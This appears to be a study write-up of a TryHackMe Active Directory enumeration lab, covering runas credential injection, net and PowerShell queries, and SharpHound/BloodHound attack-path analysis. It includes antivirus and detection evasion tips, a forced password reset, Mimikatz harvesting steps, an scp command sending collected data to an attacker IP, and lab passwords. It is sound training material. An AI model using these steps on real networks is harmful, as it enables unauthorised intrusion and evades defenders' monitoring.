###### `Active Directory` `Enumerate` [TOC] **Enumerate Active Directory** Once we obtained AD credentials, we will leverage AD credentials to enumerate the AD configuration and structure. Finding out Other attack paths to new privilege position. ![圖片](https://hackmd.io/_uploads/B1FhboLk0.png) # Network Setting ## Connecting to the VPN ![圖片](https://hackmd.io/_uploads/By3mQVz4T.png) ```shell= #!/bin/bash echo "kali" | sudo -S -v if [ $? -eq 0 ]; then sudo openvpn ./adenumeration.ovpn sudo -s else echo "Sudo驗證失敗,無法運行OpenVPN。" fi ``` ## DNS Configuration ### Linux Machine ![圖片](https://hackmd.io/_uploads/SkLzLNMET.png) DNS Server: 10.200.18.101 ![圖片](https://hackmd.io/_uploads/Sy6V84zVa.png) ```shell= sudo systemctl restart NetworkManager ``` ### Windows Machine ``` PS C:\Windows\system32> $dnsip ="10.200.18.101" PS C:\Windows\system32> $index = Get-NetAdapter -Name '區域連線' | Select-Object -ExpandProperty 'ifIndex' PS C:\Windows\system32> Set-DnsClientServerAddress -InterfaceIndex $index -ServerAddresses $dnsip ``` ![圖片](https://hackmd.io/_uploads/Sy0DrTSNT.png) ![圖片](https://hackmd.io/_uploads/B1G8r6SET.png) --- ![圖片](https://hackmd.io/_uploads/S1j6Uy8Ep.png) <!-- ``` Username: graeme.williams Password: hJnlKuLBa2 ``` SSH Connection as AD identity ``` ssh za.tryhackme.com\\rachel.dunn@thmjmp1.za.tryhackme.com ``` password: Bmlj9838 ![圖片](https://hackmd.io/_uploads/S1SU3EfN6.png) --> <!-- ## Inject AD credential into Memory ### Connecting to the host(Not Domain Machine) ``` nslookup THMJMP1.za.tryhackme.com ``` ``` xfreerdp /u:"thm" /p:"Password1@" /v:10.200.58.248 /dynamic-resolution ``` --- ### Injected AD Credential to CMD ``` runas.exe /netonly /user:za.tryhackme.com\rachel.dunn cmd.exe ``` password :Bmlj9838 --> # Credential Injection We typically could obtain the AD initial Credential without compromise domain computers, thus we need to inject Ad credential in our machine pretend we are a valid domain computers. ## Runas.exe We can leverage a Windows in-build tools call 'Runas.exe'. Runas.exe allow us to injected credentials into memory, granting us the ability to use those AD credential to access service Run cmd.exe as Standard Local Account ![圖片](https://hackmd.io/_uploads/Bkak_cBNT.png) ```cmd runas.exe /netonly /user:<domain>\<user> cmd.exe ``` /netonly: Injects credentials only use in network servers for authentication.(Run as Standard Local Account ) allowing escape from the DC authentication. /user: Use the Fully Qualified Domain Name (FQDN) instead of the NetBIOS name. ![圖片](https://hackmd.io/_uploads/HkPfEjUJR.png) ## LAB - runas.exe ### Connecting to the host(Not Domain Machine) RDP ``` xfreerdp /u:"thm" /p:"Password1@" /v:10.200.18.248 /dynamic-resolution ``` ### AD credential Injection ``` runas.exe /netonly /user:za.tryhackme.com\rachel.dunn cmd.exe ``` password Bmlj9838 ![圖片](https://hackmd.io/_uploads/By6ELkI46.png) ### Check ``` dir \\Domain\SYSVOL ``` Notice: Since credentials are not authenticated by the domain controller, ensuring the password is correct is crucial. ## IP(NTLM) Vs Domain Name(Kerberos) ``` dir \\DC domain name\SYSVOL -> Using Kerbers Auth dir \\DC IP\SYSVOL -> Using NTLN Auth(Better) ``` Supplying a domain name for querying the SYSVOL folder DC will use Kerberos auth. Providing an IP forces NTLM authentication, a useful trick during Red Team engagements, forcing NTLM authentication will helps us to avoid detection. # Microsoft Management Console (mmc) ![圖片](https://hackmd.io/_uploads/HyyCMkINT.png) SSH Credential ``` account:thm password:Password1@ ``` ``` xfreerdp /u:"thm" /p:"Password1@" /v:10.200.18.248 /dynamic-resolution ``` ![圖片](https://hackmd.io/_uploads/rJdlqsIk0.png) ``` mmc ``` ![圖片](https://hackmd.io/_uploads/S1Tb9oL1R.png) ## Microsoft Management Console(MMC) and RSAT MMC is a tool used to host administrator tools known as snap-ins. RSAT: Remote Server Administrator Tools To attach an RSAT snap-in with MMC: ### Open MMC In the MMC console, go to **File > Add/Remove Snap-in**. ![圖片](https://hackmd.io/_uploads/HyAmqjLkR.png) ### Adding RSAT component ![圖片](https://hackmd.io/_uploads/rJKv9oU10.png) ### Point the RSAT snap in our domain controller Manage the associated serviced and configuration. ``` Domain: za.tryhackme.com ``` ![圖片](https://hackmd.io/_uploads/SyqccuP4a.png) ![圖片](https://hackmd.io/_uploads/Hyd_coIJA.png) ![圖片](https://hackmd.io/_uploads/Sy6yjdvN6.png) ![圖片](https://hackmd.io/_uploads/HkdT5iUy0.png) ![圖片](https://hackmd.io/_uploads/H1L7iOvEp.png) ![圖片](https://hackmd.io/_uploads/B1rRco8yC.png) ![圖片](https://hackmd.io/_uploads/r1f8ojUkC.png) If every thing is set up correctly, our MMC should be point to and authenticated against `za.tryhackme.com` ![圖片](https://hackmd.io/_uploads/BJKDjjUk0.png) ![圖片](https://hackmd.io/_uploads/ByFDh_w4p.png) Now, we could start to enumerate the AD structure ## Enumeration ### User and Computer structure ![圖片](https://hackmd.io/_uploads/BkAjoiUk0.png) ### People OUs ![圖片](https://hackmd.io/_uploads/S14gnsU1A.png) **IT Department** ![圖片](https://hackmd.io/_uploads/BkqEJtP46.png) IF we have the necessary privileges, we can directly modify the AD **Serves** ![圖片](https://hackmd.io/_uploads/BkqreKD46.png) **Workstation** ![圖片](https://hackmd.io/_uploads/HkLPeKP4p.png) ![圖片](https://hackmd.io/_uploads/Sk6aeYDVp.png) **Admin** ![圖片](https://hackmd.io/_uploads/BkPgZKwVa.png) ![圖片](https://hackmd.io/_uploads/H1VXZtwV6.png) ![圖片](https://hackmd.io/_uploads/rkzIZKDV6.png) --- # Command Prompt (net) Command Prompt allow us to quick and dirty enumerate AD structure ## Users ### ALL AD User ``` net user /domain ``` ![圖片](https://hackmd.io/_uploads/Sy6Ips8kC.png) ### Single User ``` net user AD_USER /domain ``` ![圖片](https://hackmd.io/_uploads/rkqBoaO4T.png) Notice: Usually, after more than ten group memberships, the command will fail to list them all. ## Group ### ALL Grops Enumerate the Group information ``` net group /domain ``` ![圖片](https://hackmd.io/_uploads/rkkmRLjVT.png) we can also specify a particular group, to obtain more information . ### Single Groups ``` net group "Tier 0 Admins" /domain ``` ![圖片](https://hackmd.io/_uploads/HJnkJvsV6.png) ## Account Policy Enumerate the password policy ``` net accounts /domain ``` ![圖片](https://hackmd.io/_uploads/Bydplwj4T.png) --- LABs ![圖片](https://hackmd.io/_uploads/ByEf8wiNT.png) ![圖片](https://hackmd.io/_uploads/SJVOrDi4a.png) ![圖片](https://hackmd.io/_uploads/SJOWUvoET.png) --- # Powershell Powershell provide extra cmdlet(commend lets) which are .NET class to perform some special tasks When we use the AD-RAST tooling, it will automatically import the AD modules(50+ cmdlets installed) https://learn.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps Import Modules ``` import-module ActiveDirectory ``` ## Users ### All users ```powershell= Get-ADUser -Filter 'Name -like "*"' -Server za.tryhackme.com | Format-Table Name,SamAccountName -A ``` Filter options support more advance to search specific account Format table make output more readable. ![圖片](https://hackmd.io/_uploads/Bk6yN_j4a.png) ### Specify user ``` Get-ADUser -Identity gordon.stevens -Server za.tryhackme.com -Properties * ``` ![圖片](https://hackmd.io/_uploads/BJzNH_o4a.png) ![圖片](https://hackmd.io/_uploads/Sku2S_oV6.png) ## Groups ### Groups Information ``` Get-ADGroup -Identity 'Tier 2 Admins' -Server za.tryhackme.com -Properties * ``` ![圖片](https://hackmd.io/_uploads/BJbDfL3Ep.png) ``` Get-ADGroup -Filter 'Name -like "*"' -Server za.tryhackme.com | Format-Table Name -A ``` ![圖片](https://hackmd.io/_uploads/r1gjjLdjNa.png) ### Show Group Members ``` Get-ADGroupMember -Identity Administrators -Server za.tryhackme.com ``` ![圖片](https://hackmd.io/_uploads/BJ1WP_oVa.png) ## AD object ### Search certain condition object ``` $ChangeDate = New-Object DateTime(2022, 02, 28, 12, 00, 00) Get-ADObject -Filter 'whenChanged -gt $ChangeDate' -includeDeletedObjects -Server za.tryhackme.com ``` ![圖片](https://hackmd.io/_uploads/H1vhnNnNT.png) Look up badPwdCount property ``` Get-ADObject -Filter 'badPwdCount -gt 0' -Server za.tryhackme.com ``` ![圖片](https://hackmd.io/_uploads/rJiN0E2E6.png) Avoiding perform password spraying attack to testing those account ``` Get-ADObject -Filter 'badPwdCount -gt 0' -Server za.tryhackme.com ``` ![圖片](https://hackmd.io/_uploads/SkRkkB2Ea.png) Those account we can arbitrary testing ## Domain ``` Get-ADDomain -Server za.tryhackme.com ``` ![圖片](https://hackmd.io/_uploads/B1SNgr346.png) ## Modify AD Object this is AD exploitation we could use `Set-ADAccountPassword` to modify the user password forcefully. ``` Set-ADAccountPassword -Identity gordon.stevens -Server za.tryhackme.com -OldPassword (ConvertTo-SecureString -AsPlaintext "old" -force) -NewPassword (ConvertTo-SecureString -AsPlainText "new" -Force) ``` --- ![圖片](https://hackmd.io/_uploads/ry3beU3Vp.png) ![圖片](https://hackmd.io/_uploads/SJcPeI3E6.png) CM=Common-Name ,OU=Marketing,OU=People,DC=za,DC=tryhackme,DC=com ![圖片](https://hackmd.io/_uploads/Sk6efU3Va.png) ![圖片](https://hackmd.io/_uploads/HkZiMI2VT.png) ![圖片](https://hackmd.io/_uploads/SJw-QUnVa.png) ![圖片](https://hackmd.io/_uploads/S16QQLh46.png) # BLoodhound (GUI) BLoodhound allow us visualize the AD Environment in a graph Graph-base thinking enable the attacker perform two-stage attack. ## Fist stages (自殺式枚舉) Attacker perform initial attack to obtain AD credential for initial AD enumeration. This stages is typically fast and noisy, and the attacker may trigger alerts However, the information gathered during this stage is crucial for next stage, we obtain AD structure, it allow us planning attack path for next stages. ## Second stages(Quickly win) Using the information perform second fishing engagement, we could reach our goal with minutes once a breach was achieved. In some case, this is even faster than the blue team response time ## Sharphound (Enumerate Tools) Sharphound are used to enumerate the Active Directory (Display Information and Search Attack Paths) bloodhound utilized information to display AD attack paths on graph. ### Enumerate Script https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors SharpHound provides various collectors to gather information Sharphound.ps1 (Run in memory) Sharphound.exe ArureHound.ps1: (Azure Version) **It's important to ensure that the version of sharphound and bloodhound have to match.** ### AV Escape During engagements,using SharpHound or BloodHound may trigger alerts from antivirus (AV) systems, To overcome this: 1. **Disable AV:** 2. **Create Exceptions:** 3. **Non-Domain-Joined Machine:** Use a non-domain-joined machine to run the tools. ### Running Enumerate Script ```powershell== Sharphound.exe --CollectionMethods <Methods> --Domain za.tryhackme.com --ExcludeDCs ``` Parameters Explained: - `CollectionMethods`: Default or ALL (Command options). - `Domain`: Specify the domain to enumerate. - `ExcludeDCs`: Exclude the enumeration of AD controllers to reduce alert triggers. Sharphound parameter document: https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound-all-flags.html ### Enumerate AD via sharphound Credential Injection ![圖片](https://hackmd.io/_uploads/SJsj-GCN6.png) Windows Users ![圖片](https://hackmd.io/_uploads/SJJnzG04p.png) ``` \Users\denise.jenkins ``` Move SharpHound.exe to user\Document ``` copy \Tools\SharpHound.exe \Users\denise.jenkins\Documents ``` ``` cd \Users\denise.jenkins\Documents ``` ``` Sharphound.exe --CollectionMethods ALL --Domain za.tryhackme.com --ExcludeDCs ``` ![圖片](https://hackmd.io/_uploads/ByGrOkJHa.png) ## BLoodhound Reference: https://bloodhound.readthedocs.io/_/downloads/en/latest/pdf/ Bloodhound requires Neo4j which is a graph database management systems ### Neo4j Database Before starting BloodHound, Neo4j needs to be set up and start. ![圖片](https://hackmd.io/_uploads/HyZDVlkB6.png) ``` neo4j console ``` ![圖片](https://hackmd.io/_uploads/r1urikyS6.png) Change the password before logging in Reference: https://neo4j.com/docs/operations-manual/current/kubernetes/operations/reset-password/ ![圖片](https://hackmd.io/_uploads/S1SabxyS6.png) ![圖片](https://hackmd.io/_uploads/BJNFikyHa.png) Server listen on ``` localhost:7687 ``` ### Connect to noe4j DB Neo4j Browser pannel ![圖片](https://hackmd.io/_uploads/B1-bSeyHp.png) Default Credentials: Neo4j:Neo4j ![圖片](https://hackmd.io/_uploads/BJ1kUekHT.png) Change Password ![圖片](https://hackmd.io/_uploads/ByXWIlyST.png) ![圖片](https://hackmd.io/_uploads/BkcNLxkSp.png) ### Download the BloodHound GUI https://github.com/BloodHoundAD/BloodHound/releases ``` lscpu ``` ![圖片](https://hackmd.io/_uploads/HyM1AJyHT.png) ``` unzip BloodHound-linux-x64.zip ``` ![圖片](https://hackmd.io/_uploads/HkBrlx1H6.png) In this network we use BloodHound 4.10 version ``` chmod +x BloodHound ./BloodHound --no-sandbox ``` ![圖片](https://hackmd.io/_uploads/S1Sgbxkrp.png) ![圖片](https://hackmd.io/_uploads/S1rTDxyBT.png) credentials neo4j:neo4j01 ### Open data in Bloodhound GUI ![圖片](https://hackmd.io/_uploads/By1q9xJHp.png) ``` scp <file> kali@<attacker IP>:/tmp ``` or ``` scp <AD Username>@THMJMP1.za.tryhackme.com:C:/Users/<AD Username>/Documents/<Sharphound ZIP> <attacker floder> ``` ![圖片](https://hackmd.io/_uploads/BJS0clJHa.png) ![圖片](https://hackmd.io/_uploads/rkabsgJrT.png) Drag the ZIP file onto the BLoodhound GUI ![圖片](https://hackmd.io/_uploads/HybQsWySp.png) ### Database Information Note:LeftCtrl can change the label display settings. #### Search Specific Node ![圖片](https://hackmd.io/_uploads/S1GlGzkBT.png) #### Database Information Refresh DB info ![圖片](https://hackmd.io/_uploads/SkXUyGyra.png) ![圖片](https://hackmd.io/_uploads/BkLXyMkBp.png) ### Node info #### Overview ![圖片](https://hackmd.io/_uploads/r1p0JXJSp.png) OUs Structure ![圖片](https://hackmd.io/_uploads/rJOwyXyBa.png) Group membership ![圖片](https://hackmd.io/_uploads/Bks0Gf1Bp.png) #### Node information Shows information regarding the AD account ![圖片](https://hackmd.io/_uploads/rJ9Cl71BT.png) #### Extra Properties ![圖片](https://hackmd.io/_uploads/rkXV-QkH6.png) #### Group Membership First degree membership ![圖片](https://hackmd.io/_uploads/Sy0s-m1rT.png) #### Local admin Rights It will show accounts has administrator privilege. ![圖片](https://hackmd.io/_uploads/B1wlMX1H6.png) #### Execution Rights ![圖片](https://hackmd.io/_uploads/HkXrXQkBa.png) #### Outbound Control Right ![圖片](https://hackmd.io/_uploads/SyCa7QJBa.png) #### Inbound Control Right ![圖片](https://hackmd.io/_uploads/ByXUNmJBa.png) ----------------------------------------------------------------- ### Analysis Information Analysis component and information to find out the attack paths. #### Search ALL Domain Admin ![圖片](https://hackmd.io/_uploads/SyLed6vJ0.png) ![圖片](https://hackmd.io/_uploads/r1wA_awJ0.png) In this graph, If we want to obtain the Domain Admin privilege, we have two attack surface. One is T0-user, another is Administrator, since the Administrator is build-in local account, we will focus to get the access to the T0-user account. ### Exploitation Each AD object can be considered as the Node We can exploit those edges to lateral move Edge filter (Lateral Movement) ![圖片](https://hackmd.io/_uploads/HyE9Kaw1C.png) #### Lateral Paths ![圖片](https://hackmd.io/_uploads/Bk28iavkR.png) ![圖片](https://hackmd.io/_uploads/SkVwi6wyR.png) Note: "No Results Found". Note, this may also be due to a Bloodhound/Sharphound mismatch, We could do something like the following to exploit this path: 1. Use our AD credentials to RDP into **THMJMP1**. 2. Look for a privilege escalation vector on the host that would provide us with Administrative access. 3. Using Administrative access, we can use credential harvesting techniques and tools such as Mimikatz. 4. Since the T1 Admin has an active session on **THMJMP1**, our credential harvesting would provide us with the NTLM hash of the associated account. More about exploit edge for lateral movement:[Bloodhound documentation](https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html) ### Session data Gathering Session change -> user login or logout Sessions are changeable, we need to gather session in constant interval, for example execute Sharphound at least twice a day using the "Session" collection method Note: Before we import the new session, we could clear previous session ## LAB-Enumerate through sharphound & bloodhound ![圖片](https://hackmd.io/_uploads/rk9JmBkHp.png) ![圖片](https://hackmd.io/_uploads/SkgeZH1Sa.png) ![圖片](https://hackmd.io/_uploads/SyCS-BJBa.png) ![圖片](https://hackmd.io/_uploads/r1yozBJSa.png) --- ![圖片](https://hackmd.io/_uploads/ByCxmHkST.png) ![圖片](https://hackmd.io/_uploads/H1OGXByHp.png) ![圖片](https://hackmd.io/_uploads/rJbJIS1Sa.png) ![圖片](https://hackmd.io/_uploads/rJWBLH1rp.png) ![圖片](https://hackmd.io/_uploads/rk_SLSyHT.png) --- # Conclusion Enumerating AD structure is critical Before engaging lateral movement or privilege escalation Through AD enumeration, we can discover single or multiple paths to achieve our goals. ## Other Enumerate techniques ### LDAP Enumeration When the host or device need to authenticate their AD credential, their bind to the Domain Controller's LDAP interface. Scripting can be use to search or test the LDAP service to enumerate the AD user account or other information. Reference:https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap ### PowerView - PowerView is an open-source project that provides PowerShell functions for enumerating and interacting with AD environments. https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1 ### WMI **Enumerating Windows Management Infrastructure (WMI)** Reference: https://0xinfection.github.io/posts/wmi-ad-enum/ WMI provides the `/root/directory/ldap` namespace to interact with AD authentication. ## AD Enumerate Migration When SharpHound collects session information, it generates numerous login events. Detection rules or code can be implemented to identify these events. Additionally, signature-based detection for specific tools like SharpHound or AD-RSAT can be developed. Monitoring PowerShell usage Blue Team can regularly view and analysis powershell log to Monitor PowerShell usage